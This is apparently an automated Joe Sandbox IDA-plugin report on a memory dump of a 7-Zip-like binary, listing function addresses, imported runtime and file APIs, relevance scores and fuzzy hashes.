Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: CreateFile$CloseHandlefree
String ID:
API String ID: 210839660-0
Opcode ID: 61d1414c3204940837fafab39737341ec41e4676ab64096d397cf1e7feeedc36
Instruction ID: 85419def6d8e9bc79877a53bfb43bbbef3e099710b69d13a6b281648fb742385
Opcode Fuzzy Hash: 61d1414c3204940837fafab39737341ec41e4676ab64096d397cf1e7feeedc36
Instruction Fuzzy Hash: EA2171372056919AC7609F15B84169A6764B3967F4F544321EFB5437E4CF39C8AA8B00

Function 00062CFC Relevance: 4.6, APIs: 3, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 00023274: memmove.MSVCRT ref: 000232AC

fputs.MSVCRT ref: 00062D41
fputs.MSVCRT ref: 00062DCF
free.MSVCRT ref: 00062DFF

Part of subcall function 00022300: fputc.MSVCRT ref: 00022311

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: fputs$fputcfreememmove
String ID:
API String ID: 1158454270-0
Opcode ID: ce718a67f578e75b63cebf5a55997fc31d3fdfa31f102c43e696e4c730ade246
Instruction ID: fe6e0a37179a2fbeb894a5ecba37041ccb1e4b26fa96d7998d4e38284f8f4faa
Opcode Fuzzy Hash: ce718a67f578e75b63cebf5a55997fc31d3fdfa31f102c43e696e4c730ade246
Instruction Fuzzy Hash: 6C2174A2604A1190CF20EF65F8513AE6361EB99BE4F449221EE5F47769DE3CC645C700

Function 0002CE1C Relevance: 3.9, APIs: 3, Instructions: 178COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0002CF85
memmove.MSVCRT ref: 0002CFB7
GetLastError.KERNEL32 ref: 0002D020

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: ErrorLast$memmove
String ID:
API String ID: 3796167841-0
Opcode ID: 13b8521f385784011c78b9d11a16baa524cd611e63a74d569e705e2f10fdf046
Instruction ID: aecfc9a7603e9ce8940ecd61609bb6f3192c521730a930913f7fac3d459e7ede
Opcode Fuzzy Hash: 13b8521f385784011c78b9d11a16baa524cd611e63a74d569e705e2f10fdf046
Instruction Fuzzy Hash: DB51A362711775A7EF658E2AF680BAD23E1FB44794F140126DF0E87B60DB39D8A6C700

Function 00022300 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00022311

Strings

Kernel , xrefs: 00022300

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: fputc
String ID: Kernel
API String ID: 1992160199-1736990243
Opcode ID: 0587dab81f2bb3112332d7aab628a035a02b5f4d8aa9838a9d6f6812646a1732
Instruction ID: 2ccc7df0a57142b5e756cb9001f13d8179483123ba1e3bdd7fc3d66dbce3607e
Opcode Fuzzy Hash: 0587dab81f2bb3112332d7aab628a035a02b5f4d8aa9838a9d6f6812646a1732
Instruction Fuzzy Hash: 92C09295B94A0882EF181BBBF8853391222D75DFE1F186030DE2D0B390DA2DD5E68721

Function 0006B1C8 Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0006B20D
fputs.MSVCRT ref: 0006B232

Part of subcall function 00022B04: _CxxThrowException.MSVCRT ref: 00022B2D
Part of subcall function 00022B04: free.MSVCRT ref: 00022B44

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: ExceptionThrowfputsfreememset
String ID:
API String ID: 3104931167-0
Opcode ID: 4ef15fd8aa1144054d3f8c1e688ea89a0331c1f98529cff2cb93b1434cf32894
Instruction ID: 9e6c124cd205dd43ad5a2df9c9b530f8207cbcde92d3171b0035af7dd384c9f6
Opcode Fuzzy Hash: 4ef15fd8aa1144054d3f8c1e688ea89a0331c1f98529cff2cb93b1434cf32894
Instruction Fuzzy Hash: 8F01C0B7700690AAE715DFABEA8079E37A1F759B94F488022DF0847711DF74D8AAC310

Function 00028A60 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,00000003,?,00028E1D), ref: 00028A99
GetLastError.KERNEL32(?,?,00000003,?,00028E1D), ref: 00028AA6

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: cf0d94ecf42caac14694387020930a2bb5976bb2b97546524ee3b67299013e46
Instruction ID: ed2b6e48bd50b3b36d7bd7e07aa2545c8226007884be66ddf424051a970cb63b
Opcode Fuzzy Hash: cf0d94ecf42caac14694387020930a2bb5976bb2b97546524ee3b67299013e46
Instruction Fuzzy Hash: 6FF0FC6AB027D083FF609B69F4447682391E759798F6CC023CA0847750DF2AC892C711

Function 00060994 Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 000609D5

Part of subcall function 00022300: fputc.MSVCRT ref: 00022311

free.MSVCRT ref: 000609E9

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: fputcfputsfree
String ID:
API String ID: 2822829076-0
Opcode ID: e0bb0529e73891d184958c91263af9b458e0cdb2801925c14b56b99b46a72feb
Instruction ID: 56033820a42fd63bea33cf661d5dd026421aeb6cc95cf7ddb7223e403f4d5edf
Opcode Fuzzy Hash: e0bb0529e73891d184958c91263af9b458e0cdb2801925c14b56b99b46a72feb
Instruction Fuzzy Hash: A2F0126324094490CA21DB25F95535E5321E7C9BF8F485321EE6D477EADF38C696C710

Function 00054035 Relevance: 2.6, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 0005404D
memmove.MSVCRT ref: 00054087

Part of subcall function 00023404: free.MSVCRT ref: 00023431
Part of subcall function 00023404: memmove.MSVCRT ref: 0002344C

Part of subcall function 00022130: malloc.MSVCRT ref: 00022134
Part of subcall function 00022130: _CxxThrowException.MSVCRT ref: 0002214F

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: memmove$ExceptionThrowfreemalloc
String ID:
API String ID: 1415420288-0
Opcode ID: 4e93dba3152148191410d57b00f48a4d72ec7dee8ca6e7e419d011094a693373
Instruction ID: 6148287923be47253d506da4a71c87a1759e498a94db1e8b2e5bde94e8079374
Opcode Fuzzy Hash: 4e93dba3152148191410d57b00f48a4d72ec7dee8ca6e7e419d011094a693373
Instruction Fuzzy Hash: A03191A73096C5A6CA75EF15E1942EEB760F391344F805422CB8D43B6AEF38D69DCB00

Function 00054054 Relevance: 2.6, APIs: 2, Instructions: 61COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00054065
memmove.MSVCRT ref: 00054087

Part of subcall function 00023404: free.MSVCRT ref: 00023431
Part of subcall function 00023404: memmove.MSVCRT ref: 0002344C

Part of subcall function 00022130: malloc.MSVCRT ref: 00022134
Part of subcall function 00022130: _CxxThrowException.MSVCRT ref: 0002214F

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: memmove$ExceptionThrowfreemalloc
String ID:
API String ID: 1415420288-0
Opcode ID: f427dc0fd637152064e545b78de615cfab16b9f0d1a8ffe90308633dea3436e2
Instruction ID: efdbba6cec9691e1eab06c17d7db115d67bfe60b7d4fc66c3667cabd0b7bc6b4
Opcode Fuzzy Hash: f427dc0fd637152064e545b78de615cfab16b9f0d1a8ffe90308633dea3436e2
Instruction Fuzzy Hash: 1F11A2A2305AC592CA31EB55F0952EEA311E791395F804426CB9E47A6ADF38C6C9CB00

Function 00049A34 Relevance: 2.5, APIs: 2, Instructions: 41COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00049A84
free.MSVCRT ref: 00049A95

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e7d5ba1defadd3acd0d91b79684e099e0fccd2f3b59dc636ae55ac404bf7f5e6
Instruction ID: 7557408b6e85416a63ae012532f65ece094f9c0719167604a2917b9a0570c082
Opcode Fuzzy Hash: e7d5ba1defadd3acd0d91b79684e099e0fccd2f3b59dc636ae55ac404bf7f5e6
Instruction Fuzzy Hash: CBF081A3302A9086DA20AA26E84056E6710AB86FB1F598330DF7917B91CF24C867C344

Function 0006C7D4 Relevance: 2.5, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 00022130: malloc.MSVCRT ref: 00022134
Part of subcall function 00022130: _CxxThrowException.MSVCRT ref: 0002214F

memmove.MSVCRT ref: 0006C815
free.MSVCRT ref: 0006C81D

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: ExceptionThrowfreemallocmemmove
String ID:
API String ID: 1097815484-0
Opcode ID: ff112bfad1453f99bb626e790325d578691dd91014c08a4cfe78a0c05c438efe
Instruction ID: 24d72a67e5264c1c3451b2530f9a60ffea98a839e2c5ebc02048421aecf114c2
Opcode Fuzzy Hash: ff112bfad1453f99bb626e790325d578691dd91014c08a4cfe78a0c05c438efe
Instruction Fuzzy Hash: 980181777015988BCB14DF26D4619ACB7A5E388F99B08C12ADF054B358CE34DC96CB90

Function 00060A1C Relevance: 2.5, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00060A42
LeaveCriticalSection.KERNEL32 ref: 00060A73

Part of subcall function 0006B480: GetTickCount.KERNEL32 ref: 0006B49E
Part of subcall function 0006B480: strcmp.MSVCRT ref: 0006B4E3
Part of subcall function 0006B480: wcscmp.MSVCRT ref: 0006B502
Part of subcall function 0006B480: strcmp.MSVCRT ref: 0006B568

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: CriticalSectionstrcmp$CountEnterLeaveTickwcscmp
String ID:
API String ID: 3267814326-0
Opcode ID: e88f57d7c7d95c69104a252a1c7d9368823166ee09aea818bbba8cc4799af9b9
Instruction ID: 4be5062aebf1487527b394a4b450c41afc2d9aafa078327d158463b0a20eb44f
Opcode Fuzzy Hash: e88f57d7c7d95c69104a252a1c7d9368823166ee09aea818bbba8cc4799af9b9
Instruction Fuzzy Hash: C2F05EA2254A5082F7109B25F8447A97370F744BB5F144335DE7D476E5CF38859AC314

Function 00022568 Relevance: 2.5, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

Part of subcall function 00023274: memmove.MSVCRT ref: 000232AC

free.MSVCRT ref: 000225B5
free.MSVCRT ref: 000225C0

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 586c8cc20f275266bf889dc5ef0a5fac6cb60cf56a6a0da5214c7ba1b0ee869b
Instruction ID: bc66659e577e61247acb4efd73b91e8c832577b91702e40bcb3890e790696a51
Opcode Fuzzy Hash: 586c8cc20f275266bf889dc5ef0a5fac6cb60cf56a6a0da5214c7ba1b0ee869b
Instruction Fuzzy Hash: 22E03762254550A1CE20FB60F4514DAA720E7D57F4B842311B6BF576FADF28C655CB00

Function 00022130 Relevance: 2.5, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00022134
_CxxThrowException.MSVCRT ref: 0002214F

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: ExceptionThrowmalloc
String ID:
API String ID: 2436765578-0
Opcode ID: fa6ff63fb0a4f718842d089b3478a2da5176663da7f3a9e4140987a861a74cca
Instruction ID: d1559bca1643c6490a96e77cdcd95be199ccdda5b62deb1c26e147d7340a894e
Opcode Fuzzy Hash: fa6ff63fb0a4f718842d089b3478a2da5176663da7f3a9e4140987a861a74cca
Instruction Fuzzy Hash: 1BD01294B177C5E1EE44A754A8813555761A7A9740FD06056F24A01725DA5CC2AF8701

Function 0003251C Relevance: 1.6, APIs: 1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cd451c15515d27b5fb79faae5e116a06c4e7ed636842f570073d620974bbfb5
Instruction ID: 4d5661d34b11623887ed56b02a7e181ba406f5748162a2389c68bcfd033c7202
Opcode Fuzzy Hash: 2cd451c15515d27b5fb79faae5e116a06c4e7ed636842f570073d620974bbfb5
Instruction Fuzzy Hash: 42513672248AC096DBB2CF25D4402ED2BA5F789F98F694136DE9A4A719DF34C885C710

Function 000486E0 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

SysStringByteLen.OLEAUT32 ref: 00048744

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: ByteString
String ID:
API String ID: 4236320881-0
Opcode ID: 1f64ae9d3ddb337fcfe08435523e691609cde8a8f740f1935bab7fcecbb63b66
Instruction ID: 0d7fbca2ee5d213e2da6a1e944096bab5b611be00b85bac61f25ecec41bb766e
Opcode Fuzzy Hash: 1f64ae9d3ddb337fcfe08435523e691609cde8a8f740f1935bab7fcecbb63b66
Instruction Fuzzy Hash: 5A11705621C78182E3608B18A4907AE62A0A7847A4F648720EE9A577E4EF3CCD85CB09

Function 00028C98 Relevance: 1.5, APIs: 1, Instructions: 25fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00028A60: SetFilePointer.KERNELBASE(?,?,00000003,?,00028E1D), ref: 00028A99
Part of subcall function 00028A60: GetLastError.KERNEL32(?,?,00000003,?,00028E1D), ref: 00028AA6

SetEndOfFile.KERNELBASE ref: 00028CC7

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: File$ErrorLastPointer
String ID:
API String ID: 841452515-0
Opcode ID: c90e265412cd84312492c39e5ed9ff3a683aba44eb41e009ab2a5a4b09f96c43
Instruction ID: 7da57af4cea3532afb0bbc2ff8584d934b236edd93dcddaee2c11d6d72c82d6f
Opcode Fuzzy Hash: c90e265412cd84312492c39e5ed9ff3a683aba44eb41e009ab2a5a4b09f96c43
Instruction Fuzzy Hash: 7FE0261A3024B4C2E7609BA1B4826AA8354AB457E0F58D032AA4943B489F758CDA8710

Function 000264D4 Relevance: 1.5, APIs: 1, Instructions: 22libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00026464: FreeLibrary.KERNELBASE(?,?,?,000264E7), ref: 00026475

LoadLibraryExW.KERNELBASE ref: 000264F4

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: Library$FreeLoad
String ID:
API String ID: 534179979-0
Opcode ID: 3a2e34574c688ca7af7f74dd229b4749d7d1e3364c56f11fc75fdd86188f9568
Instruction ID: 360d6762ec02cf8e0373eb7741b0976a20cd1f1c02a421353b88d8b6bbad0e0c
Opcode Fuzzy Hash: 3a2e34574c688ca7af7f74dd229b4749d7d1e3364c56f11fc75fdd86188f9568
Instruction Fuzzy Hash: 8FD02E21700A3182EE202BA6B8413A803052F0ABE0E88D0309E8903305DE2A0CEBA300

Function 00028BF0 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 00028C1F

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 1085791dad4498b16cc9abdee153caba491eab099019c6398aedde3617614eaf
Instruction ID: 3a686ab5d5eb104976e4c027348486902ac7a5b379d910c371e16c1fa6620071
Opcode Fuzzy Hash: 1085791dad4498b16cc9abdee153caba491eab099019c6398aedde3617614eaf
Instruction Fuzzy Hash: 1DE04676228640CBE740CF60E400B5AB3A0F388B24F004114DE8A83B54CBBDC054CF40

Function 00026464 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(?,?,?,000264E7), ref: 00026475

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 263427ff8568d61754d606e09aee6c08ed44ac838dad2c881132b4691fd57d34
Instruction ID: 529191b59a2f6eb30d8488c220575f7a8297da0f01dc05c15b863e035fb21aef
Opcode Fuzzy Hash: 263427ff8568d61754d606e09aee6c08ed44ac838dad2c881132b4691fd57d34
Instruction Fuzzy Hash: 0FD012B2702504C5FF555FA2FC5433523946B58F44F5C5010CE554B240EB2A88958760

Function 00028AF4 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE ref: 00028B16

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: d6e337c251ae6e5d4ca8af2bcbb66e5cb8e311ff68b77760b7eea80f1dd1c151
Instruction ID: 33dfd3d328c4f4f74564e734ef3bbbc3a9dfc73c29df624741fdfe364cb771eb
Opcode Fuzzy Hash: d6e337c251ae6e5d4ca8af2bcbb66e5cb8e311ff68b77760b7eea80f1dd1c151
Instruction Fuzzy Hash: D2D05E76614684C7E7009F70E04575AF764F388BA4F480004EE8807774CBBDC199CF00

Function 000226A0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 000226C1

Memory Dump Source

Source File: 0000000A.00000002.2828065313.0000000000021000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00020000, based on PE: true

Associated: 0000000A.00000002.2828045683.0000000000020000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828098865.000000000006F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828128724.000000000008C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.2828148648.000000000008F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_20000_7z.jbxd

Similarity

API ID: fputs
String ID:
API String ID: 1795875747-0
Opcode ID: 5f6c79e67240f10e506dcd010c05e3fcb41f145b375b3b6d5ae371637dca3dc7
Instruction ID: be43df8ee338bcd179552fcae73c95391ca3247c5a76c8fe234770dbf0e46d29
